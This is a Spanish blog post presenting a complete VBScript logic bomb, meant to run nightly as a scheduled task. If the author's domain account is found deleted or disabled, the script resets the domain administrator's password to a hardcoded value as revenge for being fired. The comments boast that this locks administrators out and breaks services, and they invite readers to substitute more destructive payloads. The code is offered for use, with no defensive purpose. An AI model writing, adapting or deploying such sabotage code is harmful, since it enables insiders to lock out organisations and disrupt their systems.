Así y sin más dilación, os traigo esta "joyita" que se me ha ocurrido... Un mini-script para que no nos olviden
' Scripting People - Tus "Amigos" no te Olvidan
' by Oscar Marin
' Requiere privilegios administrativos (ejecutar con una cuenta con privilegios
' de administrador del dominio si se puede) para poder cambiar la contraseña
' de un usuario del dominio (o para hacer lo que te apetezca)
' Para el correcto funcionamiento habrá que dejar el script corriendo en una
' tarea programada, por ejemplo, que se ejecute cada noche y compruebe si todavia
' seguimos en la empresa. Se puede hacer esto con el siguiente comando:
' at 23:52 /every:l,m,mi,j,v "cmd /c cscript d:\scripts\user-exist.vbs"
' Que ejecutará el comando cada dia entre semana a las 23:52
' Definimos e inicializamos las variables
' En Principio no existe nuestra cuenta pero estamos habilitados
boolExiste = false
boolDeshabilitado = false
' No tengais miedo a utilizar variables largas, es preferible copiar y pegar
' que no saber que hace una variable
usrQueNoTieneQueSerDespedido = "scriptingpeople2"
' Definimos el nombre del admin y la contraseña que vamos a usar para cambiarsela al administrador
usrAdmin = "scriptingpeople"
pass = "scriptingpeople1!"
' Llamamos a la funcion que comprueba que nuestro usuario este ok
' Es decir, comprueba que exista (que no lo han borrado) y que
' esta habilitado (que no lo han bloqueado)
EstadoUsr(usrQueNoTieneQueSerDespedido)
' Si existimos, por ahora esta todo bien, veremos si esta la cuenta deshabilitada
If boolExiste Then
' Vemos que al menos existimos, pero ¿Estamos deshabilitados?
' Si la cuenta esta deshabilitada es que nos han echado
If boolDeshabilitado Then
' Imprimimos mensaje de advertencia
Wscript.Echo "Mierda, te han bloqueado la cuenta, se van a cagar!!!"
' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
ChangePwd(usrAdmin)
End If
Else ' Si han borrado el usuario...
' Imprimimos mensaje de advertencia
Wscript.Echo "Te han largao, lo van a pagar caro!!!"
' Llamamos a la funcion que cambia la contraseña del usuario que le pasamos (administrador?)
' Una vez cambiada la contraseña, en el siguiente reinicio dejarán de funcionar todos los
' servicios que se ejecuten con la cuenta de administrador, cosa demasiado comun por
' desgracia y ademas, en caso de que sea la unica cuenta con privilegios administrativos...
' ...los administradores no podran iniciar sesion y tendran que utilizar alguna herramienta
' para volver a restaurar la contraseña
' Este paso podeis cambiarlo por otra funcion bastante mas destructiva para que de verdad
' Tus "Amigos" no te Olviden... pero eso ya lo dejo a vuestra imaginacion
ChangePwd(usrAdmin)
End If
' Funcion que comprueba si la cuenta esta borrada o deshabilitada
Sub EstadoUsr(strUserName)
' Creamos el objeto dominio con nuestro nombre NETBIOS del dominio
Set objDomain = GetObject("WinNT://midominionetbios")
' Filtramos solo los usuarios del dominio (que no nos aprezcan nombres de maquina o cosas diferentes)
objDomain.Filter = Array("user")
' Para cada usuario del dominio
For Each User In objDomain
' Comprobamos que el usuario en minusculas (por asegurarnos que no hay errores de mayusculas y
' minusculas) sea igual al usuario que le hemos pasado a la funcion y en caso afirmativo...
If lcase(User.Name) = lcase(strUserName) Then
' Marcamos a verdadero la variable de que el usuario existe
boolExiste = true
' Imprimimos en pantalla el mensaje de que existe
WScript.Echo User.Name & " existe... pero vamos a investigar mas..."
' Pero tambien comprobamos si la cuenta sigue activa o esta deshabilitada
' Si la cuenta esta deshabilitada... (Nos han echado...)
If User.AccountDisabled = true Then
' Marcamos la variable de control de deshabilitado a Verdadero
boolDeshabilitado = true
' Imprimimos la cruda realidad
Wscript.Echo User.Name & " esta deshabilitado"
Else ' Si no... Está todo bien... Existe la cuenta y esta habilitada
' Marcamos la variable como que tampoco esta deshabilitada
boolDeshabilitado = false
' Imprimimos nuestra salvacion
Wscript.Echo User.Name & " sigue en activo"
End If
End If
Next
' Si el usuario no existe... Como la variable de control ha empezado a False...
' No hacemos ningun cambio sobre la variable de control, por lo que se desencadenan
' las acciones de venganza que tengamos programadas en el programa principal
If boolExiste = false Then
' Pero si que imprimimos la cruda realidad
Wscript.Echo strUserName & " no existe"
End If
End Sub
' Funcion para cambiar la contraseña de un usuario
Sub ChangePwd(strUserNameAdmin)
' Esta vez creamos directamente el objeto del usuario apuntando a su DistinguishedName (DN) directamente
' Podeis ver cual es el DN del usuario con el ADSI Edit (adsiedit.msc) por ejemplo, aunque por logica
' es bastante sencillo averiguarlo sabiendo en que OU/CN está
Set objUser = GetObject ("LDAP://cn=" & strUserNameAdmin & ",cn=Users,dc=dominio,dc=demo")
' Y le cambiamos la contraseña con la arriba definida
objUser.SetPassword pass
End Sub
No hay comentarios:
Publicar un comentario